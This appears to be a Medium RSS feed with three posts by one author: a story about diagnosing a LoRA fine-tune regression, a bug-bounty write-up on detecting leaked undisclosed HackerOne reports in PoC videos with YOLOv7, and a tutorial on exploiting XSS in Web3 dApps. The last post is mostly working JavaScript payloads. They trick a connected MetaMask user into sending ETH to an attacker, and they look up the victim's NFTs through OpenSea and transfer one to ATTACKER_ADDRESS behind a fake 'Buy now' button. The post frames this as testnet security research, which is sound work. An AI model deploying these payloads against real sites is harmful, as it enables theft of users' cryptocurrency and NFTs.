<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdullah Abdelrazek on Medium]]></title>
        <description><![CDATA[Stories by Abdullah Abdelrazek on Medium]]></description>
        <link>https://medium.com/@3bodymo?source=rss-1eb5d4db500c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*YHPS-fue_Df2_JfNb-nrsA@2x.jpeg</url>
            <title>Stories by Abdullah Abdelrazek on Medium</title>
            <link>https://medium.com/@3bodymo?source=rss-1eb5d4db500c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 18:25:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@3bodymo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Fine Tune Got Worse and I Had No Way to Ask It Why]]></title>
            <link>https://3bodymo.medium.com/my-fine-tune-got-worse-and-i-had-no-way-to-ask-it-why-bea6c2d33ce6?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/bea6c2d33ce6</guid>
            <category><![CDATA[lora]]></category>
            <category><![CDATA[fine-tuning]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Sun, 02 Aug 2026 14:42:12 GMT</pubDate>
            <atom:updated>2026-08-02T14:42:12.167Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ly7lIG59x-Q6os5htWvXQ.png" /></figure><p>I fine tuned a small Llama model on a support dataset. It was a normal LoRA run, nothing exotic, and the eval numbers looked fine at first glance. Then I checked the one capability I actually cared about, formatting answers as clean JSON for a downstream parser, and it had fallen off a cliff. It went from getting the format right nine times out of ten to barely six.</p><p>Nothing in the training run explained this. No errors, no warnings, no obvious spike in the loss curve. The model just quietly got worse at one specific thing while everything else looked normal.</p><h3>The debugging routine that does not scale</h3><p>My first instinct was the one everyone has. Open the dataset, scroll through examples, look for anything weird. Squint at a few hundred rows of JSON completions and try to spot the poison by eye. When that turned up nothing convincing, I moved to the usual knobs. Lower the learning rate. Fewer epochs. Different batch size. Each retrain took an hour, and each one either fixed nothing or fixed it for reasons I could not explain, which is almost worse, because then I do not know what to keep doing next time.</p><p>The actual question I needed answered was never “what looks suspicious.” It was: which training examples, specifically, caused this regression, and is it even the data at fault, or something in how I set up the run. Eyeballing a dataset cannot answer either half of that question. It can only produce guesses.</p><h3>Finding the tool that answers the actual question</h3><p>That is the gap <a href="https://gradian.dev/">Gradian</a> is built for. It is a training data attribution engine for LoRA fine tunes, and its entire premise is that you already have a regression in hand, a fine tune that got worse at something, and you want to know why, not another framework for training in the first place.</p><p>It splits the problem the way I eventually realized I should have from the start, into two separate questions:</p><p>Is it a specific cluster of training data that taught the model something that fights the capability I care about?</p><p>Or is it something structural in the setup, like a loss mask that covers the wrong tokens, or completions that get silently truncated, that no amount of staring at individual rows would ever catch?</p><p>The first question needs real math, per example gradients traced back through the adapter. The second one does not need math at all, it needs a checklist run against your dataset, your config, and your trainer logs. Gradian ships both, and the report it produces joins them, because which one is true changes what you actually do next.</p><h3>Running it against my own regression</h3><p>The audit is the fast path, no GPU involved, so I ran that first.</p><pre>gradian diagnose \<br>  --dataset train.jsonl \<br>  --run runs/my-finetune \<br>  --base-model meta-llama/Llama-3.2-1B</pre><p>That alone is worth doing before anything else, because a huge share of fine tune failures are mechanical rather than about content: a missing EOS token so the model never learns to stop, a loss mask that covers the prompt instead of the completion, train and eval sets that quietly overlap, twelve epochs over four hundred examples. None of these crash. None show up as a training error. They just make the model worse in a way that is easy to blame on the data.</p><p>With nothing conclusive from the audit alone, I ran the actual attribution, pointing it at the base model, the adapter I had already trained, my dataset, and an eval set built from the cases that had regressed:</p><pre>gradian attribute \<br>  --base-model meta-llama/Llama-3.2-1B-Instruct \<br>  --adapter runs/my-finetune/adapter \<br>  --dataset train.jsonl \<br>  --eval-dataset capability_eval.jsonl \<br>  --capability json_formatting \<br>  --out reports/</pre><p>The report was the first time in this whole process I got an actual answer instead of a hunch. It named the regression precisely, the confidence interval around it, and then it named the cause: one cluster of training examples, grouped around invoice and currency fields, was responsible for the large majority of the negative influence. And then it went one step further, and told me most of those examples had truncated completions. The model was not learning bad JSON habits from that cluster. It was learning to stop mid object, because that is literally what the training data showed it.</p><p>That second fact is the one I would never have found by reading the dataset. Truncation is invisible unless you know exactly which examples to look at and what to look for, and by the time you know that, you have already done the hard part.</p><h3>The part that made me trust the answer</h3><p>What convinced me this was not just a plausible sounding number was one design choice buried in how the attribution actually works. When you build the signal that says “explain this failure,” the obvious approach is to push the model toward the correct answer and see which training examples get credit. Gradian does the opposite by default, it takes the gradient of the correct answer and subtracts the gradient of what the model actually said. The reasoning, once I understood it, was obvious in hindsight. A lot of what fine tuning teaches is answer format, and format genuinely does lower the loss on the right answer too, so the naive signal ranks the poisoned examples as the most helpful data in the whole set. Subtracting out what the model actually produced cancels that shared direction and leaves the real culprit standing alone.</p><p>It also refused to answer when it should not. On a different capability I checked afterward, the regression I thought I saw turned out to sit entirely inside the noise band, and the tool said so plainly instead of forcing a diagnosis onto a number that was not really there. That refusal mattered more to me than any of the clusters it did find, because it meant the clusters it did name, I could actually act on.</p><h3>What changed for me</h3><p>I fixed the actual problem in one line, raising max_seq_length so those completions stop getting cut off, and retrained. The capability came back.</p><p>What stuck with me was not that specific fix. It was that I stopped treating a regressed fine tune as a mystery to be poked at with hyperparameter guesses. There is a real, answerable question underneath every one of these failures: which examples, or which setting, caused this. I just did not have a way to ask it directly until I had a tool built to answer exactly that question, over gradients I could not have inspected by hand, joined with a set of mechanical checks I would never have thought to run in the right order.</p><p>That is the whole shift. Not a smarter guess. An actual answer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bea6c2d33ce6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking HackerOne: How computer vision helped uncover hidden vulnerabilities?]]></title>
            <link>https://3bodymo.medium.com/hacking-hackerone-how-computer-vision-helped-uncover-hidden-vulnerabilities-858d03a6a67?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/858d03a6a67</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Thu, 11 May 2023 10:26:23 GMT</pubDate>
            <atom:updated>2023-07-05T21:56:35.718Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*Bkt1sLjV_ELURDgmZzgcsQ.jpeg" /></figure><p>Hello everyone! Today, I would like to share my experience using artificial intelligence to scan all the disclosed videos on HackerOne. I will discuss how I successfully developed an AI model that enabled me to report multiple reports based on the model’s results.</p><h3>The Main Problem</h3><p>HackerOne was accepting any report about reporting undisclosed reports in the disclosed reports video.<br>It seems a little confusing, so I will give an example until I can explain it more clearly.</p><p>Let’s take this disclosed report as an example, <a href="https://hackerone.com/reports/1294767"><strong>#1294767</strong></a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbYesVFwiUshJQN_beNisw.png" /></figure><p>The report contains a recorded video that the bug hunter recorded as a PoC for his report; the problem is that there are undisclosed reports shown in that video (at the left side).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EG9hYoeRMgnJWI2XyWxx_w.png" /></figure><h3>An idea</h3><p>We need a way to scan every video in disclosed reports on the platform; if you do it in a convention way and discover every video manually, it could take weeks, so we have to find an optimal way to do it.</p><p>We could find a way to do that with the help of AI and computer vision, so the first thing to do is to know how we will train our AI model.</p><h3>AI Model Approach</h3><p>The first solution that came to my mind was to use the image classification approach, but I thought it would not be a better choice for this problem, so I thought to solve it with object detection.<br>I will give you an example for those types of models until you know the difference.</p><blockquote><strong>Image classification model:</strong> The image classification model will be designed to take a video frame as input and classify it as either containing undisclosed reports or not. However, a challenge arises during dataset collection, as acquiring a sufficient amount of the “NOT” class (frames without disclosed reports) can be difficult. This scarcity of negative examples might hinder the model’s training process and affect its overall performance.</blockquote><blockquote><strong>Object detection model:</strong> On the other hand, the object detection model operates by analyzing a video frame and identifying specific objects that it has been trained on. Rather than focusing on classifying the frame as a whole, the model localizes and recognizes individual objects within the frame based on its training data.</blockquote><p>For the dataset part, I decided to collect 250 screenshots, so I opened my HackerOne account and my friend’s account and started taking screenshots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBYjOPkvbPTuKZzrr8ZlqA.png" /></figure><p>I chose this part as an object (the red rectangle), so later, when the model sees this part in videos, it will detect it.</p><p>Since the screenshots are taken in the same way and the screen doesn’t change, the annotation boxes coordinates will not change in all images.<br>I opened <a href="https://github.com/heartexlabs/labelImg"><strong>labelImg</strong></a> (a Python tool that allows you to annotate your objects) and I labelled only one image, then I made a small script to copy this annotation information to all images.</p><pre>import os<br><br>image_folder_path = &#39;./images&#39;<br>text_folder_path = &#39;./train/labels&#39;<br>image_file_list = os.listdir(image_folder_path)<br><br>coordinates = &quot;0 0.170047 0.550314 0.254717 0.798742&quot;<br><br>for image_file_name in image_file_list:<br>    file_basename = os.path.splitext(image_file_name)[0]<br>    text_file_name = file_basename + &#39;.txt&#39;<br>    text_file_path = os.path.join(text_folder_path, text_file_name)<br>    with open(text_file_path, &#39;w&#39;) as text_file:<br>        text_file.write(coordinates)</pre><blockquote>The bounding box (coordinates) here is represented by five values [object-class, x_center, y_center, width, height]. The object-class refers to the class label of the object within the bounding box. It represents the category or type of object that the bounding box is representing. It is typically represented as an integer value corresponding to a specific class or category. The x_center and y_center are the normalized coordinates of the center of the bounding box. To make coordinates normalized, we take pixel values of x and y, which marks the center of the bounding box on the x-axis and y-axis. Then we divide the value of x by the width of the image and value of y by the height of the image. The width and height represent the width and the height of the bounding box. They are normalized as well.</blockquote><p>The labelImg creates one text file for each image, and it saves the annotation boxes coordinates in that text file, so here I put the coordinates value in the coordinates variable and read the image name, then create a text file named as the image name containing the value of the coordinates.</p><p>I trained my model using an object detection algorithm based on <a href="https://www.v7labs.com/blog/yolo-object-detection">YOLO</a> principles.</p><blockquote><a href="https://github.com/WongKinYiu/yolov7"><strong>YOLOv7</strong></a> is a real-time object detection algorithm that was developed by the Academia Sinica AI Lab in Taiwan. It is the seventh version of the YOLO (You Only Look Once) object detection algorithm, and it is one of the most accurate and efficient object detection algorithms available today.<br>YOLOv7 is a single-stage object detector, which means that it can detect objects in a single pass through an image. This makes it much faster than two-stage object detectors, such as Faster R-CNN. YOLOv7 is also very accurate, and it has been shown to outperform other object detection algorithms on a variety of datasets.</blockquote><p>The model performed well in training and testing, but I got a lot of false positives on other videos that don’t contain disclosed reports, and it also didn’t perform well in detecting vulnerable videos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33Gjn-WgA-O2bdxRz-b9IQ.png" /></figure><p>This is an example of a false positive result; the model considers this part as an exposed report with high confidence.<br>So, I have to find another optimal way to improve the model and make it better at detection.</p><p>I changed the way of annotation, and I made it like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X90EpQ55vyoTrBjOv-qoNw.png" /></figure><p>Here I have to make the annotation process manually because every box has a different size and different location.</p><p>I thought it would perform better, and yes, after training the model, the false positive detection was less and the model was detecting better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-4BxxfyBye8qp54s-HRj9Q.png" /></figure><h3>Discover Videos</h3><p>Now, we have to find a way to download all videos from all disclosed reports.<br>I searched to see if I can get the report information in JSON format until I can deal with it easily. I remembered there is an export feature in the report page, but when I clicked on it, I didn’t find JSON format, but I found pdf, zip, and raw text. I did choose pdf until I saw what the URL would look like. It just adds .pdf to end of report number:</p><p><strong>https://hackerone.com/reports/1294767.pdf</strong></p><p>I quickly changed .pdf to .json and yeah the report now shows in JSON format.</p><p>Now I have to make a Python script to download all videos from all disclosed reports.</p><p>But first we have to get all the numbers of disclosed reports, so I searched for a while to see if someone was collecting these reports, and I found this useful <a href="https://github.com/reddelexc/hackerone-reports"><strong>repo</strong></a> on GitHub. He also uploaded a Python script until you could get updated reports.</p><p><strong>Let’s start the work..</strong></p><h3>Exploit Time!</h3><p>At first, we have to extract report numbers from the csv file, so I made this useful script that will extract them and save them in a text file.</p><pre>import csv<br><br>csv_file = &#39;data.csv&#39; # The csv file in the repo<br>output_file = &#39;report_numbers.txt&#39;<br><br>with open(csv_file, &#39;r&#39;) as file:<br>    reader = csv.reader(file)<br>    next(reader)<br>    numbers = [row[2].split(&#39;/&#39;)[-1] for row in reader if int(row[2].split(&#39;/&#39;)[-1])]<br><br>numbers.sort(reverse=True)<br><br>with open(output_file, &#39;w&#39;) as file:<br>    file.write(&#39;\n&#39;.join(numbers))</pre><p>After that, I made another script to download all videos from a report.</p><pre>import requests<br>import json<br>import os<br><br>if not os.path.exists(&#39;videos&#39;):<br>    os.makedirs(&#39;videos&#39;)<br><br>with open(&#39;report_numbers.txt&#39;, &#39;r&#39;) as file:<br>    report_numbers = file.readlines()<br><br>i = 0<br>for report_number in report_numbers:<br>    i = i + 1<br>    report_number = report_number.strip()<br>    endpoint = f&quot;https://hackerone.com/reports/{report_number}.json&quot;<br>    response = requests.get(endpoint)<br>    <br>    print(f&quot;{i}/{len(report_numbers)}&quot;)<br><br>    if response.status_code == 404:<br>        continue<br><br>    if response.status_code == 200:<br>        data = response.json()<br>        <br>        if &#39;attachments&#39; in data:<br>            attachments = data[&#39;attachments&#39;]<br>            <br>            for attachment in attachments:<br>                if &#39;video‏‎&#39; in attachment[&#39;type&#39;]:<br>                    file_name_temp = attachment[&#39;file_name&#39;]<br>                    file_name = file_name_temp.split(&#39;.&#39;)[0]<br>                    file_ext = file_name_temp.split(&#39;.&#39;)[-1]<br>                    new_file_name = f&quot;{report_number}__{file_name}.{file_ext}&quot;<br>                    video_url = attachment[&#39;expiring_url&#39;]<br>                    video_response = requests.get(video_url)<br>                    if video_response.status_code == 200:<br>                        print(&quot;Video has been downloaded!&quot;)<br>                        video_path = os.path.join(&#39;videos&#39;, new_file_name)<br>                        with open(video_path, &#39;wb&#39;) as video_file:<br>                            video_file.write(video_response.content)<br>        <br>        if &#39;activities&#39; in data:<br>            activities = data[&#39;activities&#39;]<br><br>            for activity in activities:<br>                if &#39;attachments&#39; in activity:<br>                    attachments = activity[&#39;attachments&#39;]<br>                    for attachment in attachments:<br>                        if &#39;video&#39; in attachment[&#39;type&#39;]:<br>                            file_name_temp = attachment[&#39;filename&#39;]<br>                            file_name = file_name_temp.split(&#39;.&#39;)[0]<br>                            file_ext = file_name_temp.split(&#39;.&#39;)[-1]<br>                            new_file_name = f&quot;{report_number}__{file_name}.{file_ext}&quot;<br>                            video_url = attachment[&#39;url&#39;]<br>                            video_response = requests.get(video_url)<br>                            if video_response.status_code == 200:<br>                                print(&quot;Video has been downloaded!&quot;)<br>                                video_path = os.path.join(&#39;videos&#39;, new_file_name)<br>                                with open(video_path, &#39;wb&#39;) as video_file:<br>                                    video_file.write(video_response.content)</pre><p>Let’s explain how this script works. At first, we have two types of videos: the first is the video that has been uploaded when you write the report, this will be in data[&#39;attachments&#39;][&#39;expiring_url&#39;], and the second type will be uploaded in comments, this will be in data[&#39;activities&#39;][&#39;attachments&#39;][&#39;url&#39;].</p><blockquote>Notice that the data is the whole JSON response.</blockquote><p>One important thing is to link the downloaded video with the report number, so when I download the video, I rename it to {report number}__{original video name}.{video extension}</p><p>The second part is to pass those videos to my model, but the problem is that there are so many videos, and the model will take a long time to detect vulnerable videos because it scans every frame in the video.<br>An idea came to my mind. What if I reduce video frames to three frames per second only? That is a good enough number to detect if there is an undisclosed report in the video.</p><blockquote>Reducing the number of frames will save us 10 times the time that the model would have taken if we did not reduce the frame rates, assuming that the average frame rate for one video is 30 frames per second.</blockquote><p>There is another problem: YOLOv7 cannot deal with webm videos, so I have to convert this type of video to mp4 using <a href="https://github.com/FFmpeg/FFmpeg"><strong>ffmpeg</strong></a>. I made a small Python script to automate these tasks (converting webm videos to mp4 and reducing the number of frames).</p><pre>import os<br>import subprocess<br><br>folder_path = &quot;./videos&quot;<br><br>def reduce_frames(input_file, output_file):<br>    subprocess.call([&#39;ffmpeg&#39;, &#39;-i&#39;, input_file, &#39;-r&#39;, &#39;3&#39;, output_file])<br><br>def convert_folder_videos(folder_path):<br>    i = 0<br>    total = len(os.listdir(folder_path))<br>    for filename in os.listdir(folder_path):<br>        i = i + 1<br>        print(f&quot;{i}/{total}&quot;)<br>        if filename.endswith(&quot;.webm&quot;):<br>            try:<br>                input_file = os.path.join(folder_path, filename)<br>                output_file = os.path.join(folder_path, os.path.splitext(filename)[0] + &quot;.mp4&quot;)<br>                reduce_frames(input_file, output_file)<br>                print(f&quot;Converted {input_file} to {output_file}&quot;)<br>                os.remove(input_file)<br>            except:<br>                continue<br>        else:<br>            try:<br>                input_file = os.path.join(folder_path, filename)<br>                output_file = os.path.join(folder_path, os.path.splitext(filename)[0] + &quot;__reduced&quot; + os.path.splitext(filename)[-1])<br>                reduce_frames(input_file, output_file)<br>                print(f&quot;Converted {input_file} to {output_file}&quot;)<br>                os.remove(input_file)<br>            except:<br>                continue<br><br>convert_folder_videos(folder_path)</pre><p>Now we are ready to pass the videos to our model.</p><pre>python detect.py --weights best.pt --conf 0.50 --img-size 640 --source ./video-scan/videos/ --name new-scan</pre><p>After running this command, the model will save the videos in which it has detected objects (undisclosed reports).</p><p>Since there are false positive results, we have to watch those videos manually until we can determine if they actually contain undisclosed reports or not.</p><p>At the end, the model detected tens of videos, but some of these videos did not contain undisclosed reports (the only report that was shown in the video was the disclosed report, from which we downloaded the current video), this is one of those examples:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eYr0aoBM3stCNwhaArxTxg.png" /></figure><p>I submitted nearly 15 reports to HackerOne, but unfortunately, they decided not to pay for them. After my reporting, they declared these type of reports will be out of scope and closed all my reports as informative. Additionally, they informed me that they had mistakenly paid for previous reports with a similar concept.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oljukSqk6_FKjs8R.jpg" /></figure><p><strong>Update:</strong> we escalated the case to Jobert Abma (Co-founder of HackerOne), and they have decided to pay for all the reports. I’m extremely grateful to him.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvuQZ1BNeDHyyQXck7jTkg@2x.jpeg" /></figure><blockquote><em>Thanks for your reading, I hope my story was useful.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=858d03a6a67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Cross Site Scripting (XSS) in Web3]]></title>
            <link>https://3bodymo.medium.com/exploiting-cross-site-scripting-xss-in-web3-c8e00aeea22a?source=rss-1eb5d4db500c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c8e00aeea22a</guid>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[dapps]]></category>
            <dc:creator><![CDATA[Abdullah Abdelrazek]]></dc:creator>
            <pubDate>Thu, 29 Dec 2022 17:01:37 GMT</pubDate>
            <atom:updated>2023-03-21T12:55:51.786Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eaWVF-WTO-DBLaz_.jpg" /></figure><h3>Introduction</h3><p>Cross-Site Scripting (XSS) is a type of cyber attack in which an attacker injects malicious code into a website or web application. The injected code is usually in the form of a script, which is then executed by the victim’s web browser. This can allow the attacker to steal sensitive information, such as login credentials or financial data, or to perform other malicious actions on behalf of the victim.</p><h3>Intro to smart contract</h3><p>A “smart contract” is simply a program that runs on the blockchain. It’s a collection of code (its functions) and data (its state) that resides at a specific address on the blockchain.</p><p>Smart contracts are a type of Ethereum account. This means they have a balance and can be the target of transactions. However they’re not controlled by a user, instead they are deployed to the network and run as programmed. User accounts can then interact with a smart contract by submitting transactions that execute a function defined on the smart contract. Smart contracts can define rules, like a regular contract, and automatically enforce them via the code. Smart contracts cannot be deleted by default, and interactions with them are irreversible.</p><h3>What is a blockchain transaction?</h3><p>Transactions are no longer limited to financial transfers only, and with the development of blockchain networks, you can now use the blockchain in other than financial transfers, so any modification to the blockchain state is now called a transaction, whether it is a financial transfer to someone or your interaction with a smart contract.</p><h3>Decentralized applications (dApps) &amp; smart contracts</h3><p>A lot of people interchangeably use the terms smart contracts and decentralized applications (dApps), but this is incorrect. A smart contract is simply a piece of code that is stored on the blockchain. A dApp, however, connects the frontend to the backend and may use several smart contracts to run.</p><h3>MetaMask wallet in brief</h3><ul><li><a href="https://metamask.io/">MetaMask</a> is a cryptocurrency wallet that enables users to store Ether and other ERC-20 tokens.</li><li><strong>The wallet can also be used to interact with decentralized applications.</strong></li></ul><p>This a good <a href="https://youtu.be/cn8gKxUSquo"><strong>video</strong></a> to how to install MetaMask until you can test your code locally first.</p><h3>Web3 Authentication</h3><p>Most decentralized applications (dApps) doesn’t authenticate users by username/password, instead they using crypto addresses to identify users, so in our case even if dApp use cookies to track user off-chain activities, it would not be helpful to steal user cookies to, because the operations in blockchain required private key of user to sign every transaction (this private key exist only on user computer and it is impossible to steal it with attack like XSS).</p><h3>What can we do?</h3><p>In this topic I will explain some ideas you can exploit it with XSS attack to achieve highest possible severity.</p><p>I will use MetaMask wallet during this explanation, because it is most popular wallet.</p><h3>Before starting</h3><p>We will make our test on Goerli testnet network rather than mainnet network, so we don’t have to deal with real money.</p><p>So, we need to activate Goerli network on our wallet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGMdDDyBpadyKGaxFRaZiA.gif" /></figure><p>You can get test ETH for Goerli Network from <a href="https://goerlifaucet.com/"><strong>here</strong></a>.</p><h3>Connect to MetaMask!</h3><p>This first part of our attack, is to make the user connect his wallet to dApp website. The best thing here is when MetaMask ask user to approve the connection, it will show him dApp website URL, this will make user bit confident.</p><p>The following JavaScript code will ask user to connect his wallet:</p><pre>const x = document.createElement(&quot;button&quot;);<br>x.id = &quot;connect&quot;;<br>x.innerText = &quot;Connect to MetaMask&quot;;<br>document.body.appendChild(x);<br>document.getElementById(&quot;connect&quot;).addEventListener(&quot;click&quot;, () =&gt; {<br>  ethereum.request({ method: &quot;eth_requestAccounts&quot; });<br>});</pre><p>This will prompt a window to ask user to connect his wallet to the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6nQrrY9SnPBkhrVQTG0Dtw.png" /></figure><p>Now, the user is connected to dApp website. After that we will craft a payload to make a transaction that will send money for the attacker.</p><p>The following payload is to make a transaction that will send 0.01 ETH from the victim to the attacker:</p><pre>const y = document.createElement(&quot;button&quot;);<br>y.id = &quot;send&quot;;<br>y.innerText = &quot;Send 0.01 ETH to Win!&quot;;<br>document.body.appendChild(y);<br>document.getElementById(&quot;send&quot;).addEventListener(&quot;click&quot;, async () =&gt; {<br>  const transactionParameters = {<br>    nonce: &quot;0x00&quot;,<br>    gasPrice: &quot;0x244AC6D&quot;,<br>    gas: &quot;0x12A52&quot;,<br>    to: &quot;0x0000000000000000000000000000000000000000&quot;,<br>    from: ethereum.selectedAddress,<br>    value: &quot;0x2386F26FC10000&quot;,<br>    data: &quot;0x00&quot;,<br>    chainId: &quot;0x5&quot;,<br>  };<br><br>  const txHash = await ethereum.request({<br>    method: &quot;eth_sendTransaction&quot;,<br>    params: [transactionParameters],<br>  });<br>});</pre><p>This will prompt a window to ask user to approve the transaction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I21MN_q-QH2IF4mnYNUVHw.png" /></figure><p>As you can see, this attack need to user interaction, but don’t forget in the first part, MetaMask will show the user URL of vulnerable website and this will make him confident if he have not technical background.</p><p>Now, lets explain more details about previous payload.</p><p>for <strong>transactionParameters</strong> object, we have some important things you have to know:</p><p>1- <strong>to</strong>: the value of this parameter is the receiver address (could be a public key of an account, or a contract address).</p><p>2- <strong>value</strong>: the amount of ether (in Hex) that you want to send.</p><p>3- <strong>data</strong>: this parameter is useful when we want to make a smart contract interactions (I will talk about it in a moment).</p><p>4- <strong>chainId</strong>: here we use Goerli testnet, and the chainId of it is <strong>0x5 </strong>(every network has a unique chainId).</p><p>You can find the chainId for the other networks <a href="https://chainlist.org/"><strong>here</strong></a>.</p><h3>A new exploitation</h3><p>The important thing before determine the exploit that you will provide it, is to know the business logic of the dApp, so for example if we found a stored XSS in NFT marketplace in NFT details page (that show you a details about specific NFT), in that case we will not use the previous exploit, instead we will make a new scenario.</p><p>The most NFT markets have “NFT details page” like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ZnNSOZVzwUl3KsR0wNeR-Q@2x.jpeg" /></figure><p>So when you click on “Buy now” button, a MetaMask pop up will appear to you to approve the transaction (this is the normal behavior). We will abuse that now, so we need to change this behavior.</p><p>At first I will explain the attack scenario then we will write the exploitation. When user click on “Buy now” we want to make an API call behind the scene until we get the NFTs that user owns, then we will transfer the ownership of NFT to us when he confirms the transaction via MetaMask.</p><p>We will use OpenSea API to make an API request to get all user NFTs.</p><pre>const req = new XMLHttpRequest();<br>req.open(<br>  &quot;GET&quot;,<br>  `https://testnets-api.opensea.io/api/v1/assets?format=json&amp;limit=50&amp;offset=0&amp;owner=${ethereum.selectedAddress}`<br>);<br>req.send();</pre><p>After that, we will extract some information from the response:</p><pre>req.onreadystatechange = async () =&gt; {<br>  if (req.readyState === 4) {<br>    const data = JSON.parse(req.response);<br>    const SC_address = data[&quot;assets&quot;][0][&quot;asset_contract&quot;][&quot;address&quot;];<br>    const tokenId = parseInt(data[&quot;assets&quot;][0][&quot;token_id&quot;]).toString(16);<br>  }</pre><p>The user wallet could contain more than one NFT, so we will apply our attack on the first one only.</p><p><strong>SC_address</strong>: This variable will contain the address of smart contract (NFT address).</p><p><strong>tokenId</strong>: This variable will contain the tokenId of the NFT.</p><p>Now, we will craft a new transaction that will make user approve on transfer his NFT to the attacker:</p><pre>const ATTACKER_ADDRESS = &quot;0x0000000000000000000000000000000000000000&quot;;<br>const transactionParameters = {<br>  nonce: &quot;0x00&quot;,<br>  gasPrice: &quot;0x244AC6D&quot;,<br>  gas: &quot;0x12A52&quot;,<br>  to: SC_address,<br>  from: ethereum.selectedAddress,<br>  value: &quot;0x00&quot;,<br>  data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${&quot;0&quot;.repeat(64 - tokenId.length)}${tokenId}`,<br>  chainId: &quot;0x5&quot;,<br>};<br>const txHash = await ethereum.request({<br>  method: &quot;eth_sendTransaction&quot;,<br>  params: [transactionParameters],<br>});</pre><p><strong>ATTACKER_ADDRESS</strong> is the wallet address of an attacker (the ownership of NFT will be transfer to it).</p><p>The <strong>data </strong>in transactionParameters object represents the info that we need to call <strong>transferFrom </strong>function (ERC-721 Method).</p><h4>More details about data:</h4><p><strong>23b872dd </strong>represent the MethodID of<strong> </strong>transferFrom function.</p><blockquote><em>The MethodID or function selector is the first 4 bytes of the hash of the method name and the parameters.</em></blockquote><p><strong>${ethereum.selectedAddress.substr(2)}</strong> represent the address of victim.</p><p><strong>${“0”.repeat(64 — tokenId.length)}</strong>: here we calculate length of tokenId, then we will subtract it from 64 until fill the rest of data in zeros.</p><p>Now, our transaction is ready, let’s put it all together.</p><pre>document.getElementById(&quot;buy&quot;).addEventListener(&quot;click&quot;, async () =&gt; {<br>  const req = new XMLHttpRequest();<br>  req.open(<br>    &quot;GET&quot;,<br>    `https://testnets-api.opensea.io/api/v1/assets?format=json&amp;limit=50&amp;offset=0&amp;owner=${ethereum.selectedAddress}`<br>  );<br>  req.send();<br>  req.onreadystatechange = async () =&gt; {<br>    if (req.readyState === 4) {<br>      const data = JSON.parse(req.response);<br>      const SC_address = data[&quot;assets&quot;][0][&quot;asset_contract&quot;][&quot;address&quot;];<br>      const tokenId = parseInt(data[&quot;assets&quot;][0][&quot;token_id&quot;]).toString(16);<br>      const ATTACKER_ADDRESS = &quot;0x0000000000000000000000000000000000000000&quot;;<br>      const transactionParameters = {<br>        nonce: &quot;0x00&quot;,<br>        gasPrice: &quot;0x244AC6D&quot;,<br>        gas: &quot;0x12A52&quot;,<br>        to: SC_address,<br>        from: ethereum.selectedAddress,<br>        value: &quot;0x00&quot;,<br>        data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${&quot;0&quot;.repeat(64 - tokenId.length)}${tokenId}`,<br>        chainId: &quot;0x5&quot;,<br>      };<br>      const txHash = await ethereum.request({<br>        method: &quot;eth_sendTransaction&quot;,<br>        params: [transactionParameters],<br>      });<br>    }<br>  };<br>});</pre><p>Don’t forget to change “buy” in the first line to button id in the vulnerable page.</p><blockquote>Thanks for your reading, I hope my story was useful.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8e00aeea22a" width="1" 